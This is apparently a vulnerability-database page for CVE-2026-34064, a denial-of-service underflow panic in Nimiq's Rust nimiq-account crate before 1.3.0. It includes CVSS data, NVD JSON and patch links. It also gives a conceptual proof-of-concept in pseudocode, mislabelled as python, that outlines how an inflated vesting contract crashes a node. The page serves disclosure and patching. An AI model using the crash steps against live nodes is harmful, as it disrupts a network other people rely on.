Security Vulnerability Report
中文
CVE-2026-34064 CVSS 5.3 MEDIUM

CVE-2026-34064

Published: 2026-04-22 20:16:41
Last Modified: 2026-04-24 17:12:31

Description

nimiq-account contains account primitives to be used in Nimiq's Rust implementation. Prior to version 1.3.0, `VestingContract::can_change_balance` returns `AccountError::InsufficientFunds` when `new_balance < min_cap`, but it constructs the error using `balance: self.balance - min_cap`. `Coin::sub` panics on underflow, so if an attacker can reach a state where `min_cap > balance`, the node crashes while trying to return an error. The `min_cap > balance` precondition is attacker-reachable because the vesting contract creation data (32-byte format) allows encoding `total_amount` without validating `total_amount <= transaction.value` (the real contract balance). After creating such a vesting contract, the attacker can broadcast an outgoing transaction to trigger the panic during mempool admission and block processing. The patch for this vulnerability is included as part of v1.3.0. No known workarounds are available.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nimiq:nimiq_proof-of-stake:*:*:*:*:*:rust:*:* - VULNERABLE
nimiq-account < 1.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual PoC for CVE-2026-34064 // This demonstrates the logic flaw leading to the panic. // 1. Setup environment with vulnerable nimiq-account version < 1.3.0 // 2. Attacker creates a malicious vesting contract // The vulnerability allows setting total_amount > transaction.value // Example: transaction.value = 100, total_amount = 1000 let malicious_data = VestingContractCreationData { total_amount: 1000, // Exploit: Bypass validation start_time: 0, step_amount: 0, step_blocks: 0, // ... other fields }; // 3. Contract is created with min_cap derived from total_amount // min_cap becomes high (e.g., 1000) while actual balance is low (e.g., 100) let contract = VestingContract::create(malicious_data, /*tx_value*/ 100); // 4. Trigger the panic // Attacker broadcasts a transaction that calls can_change_balance // with a new_balance that is < min_cap let new_balance = 50; // 50 < 1000 (min_cap) // Inside can_change_balance: // if new_balance < min_cap { return Err(AccountError::InsufficientFunds { balance: self.balance - min_cap }) } // Calculation: 100 - 1000 -> Underflow -> Panic! contract.can_change_balance(new_balance); // Result: Node crashes.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34064", "sourceIdentifier": "[email protected]", "published": "2026-04-22T20:16:40.900", "lastModified": "2026-04-24T17:12:30.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "nimiq-account contains account primitives to be used in Nimiq's Rust implementation. Prior to version 1.3.0, `VestingContract::can_change_balance` returns `AccountError::InsufficientFunds` when `new_balance < min_cap`, but it constructs the error using `balance: self.balance - min_cap`. `Coin::sub` panics on underflow, so if an attacker can reach a state where `min_cap > balance`, the node crashes while trying to return an error. The `min_cap > balance` precondition is attacker-reachable because the vesting contract creation data (32-byte format) allows encoding `total_amount` without validating `total_amount <= transaction.value` (the real contract balance). After creating such a vesting contract, the attacker can broadcast an outgoing transaction to trigger the panic during mempool admission and block processing. The patch for this vulnerability is included as part of v1.3.0. No known workarounds are available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nimiq:nimiq_proof-of-stake:*:*:*:*:*:rust:*:*", "versionEndExcluding": "1.3.0", "matchCriteriaId": "CD0CAAD1-7626-4A4A-A6F8-9DC46FE50731"}]}]}], "references": [{"url": "https://github.com/nimiq/core-rs-albatross/commit/4d01946f0b3d6c6e31786f91cdfb3eb902908da0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nimiq/core-rs-albatross/pull/3658", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/nimiq/core-rs-albatross/releases/tag/v1.3.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/nimiq/core-rs-albatross/security/advisories/GHSA-vc34-39q2-m6q3", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}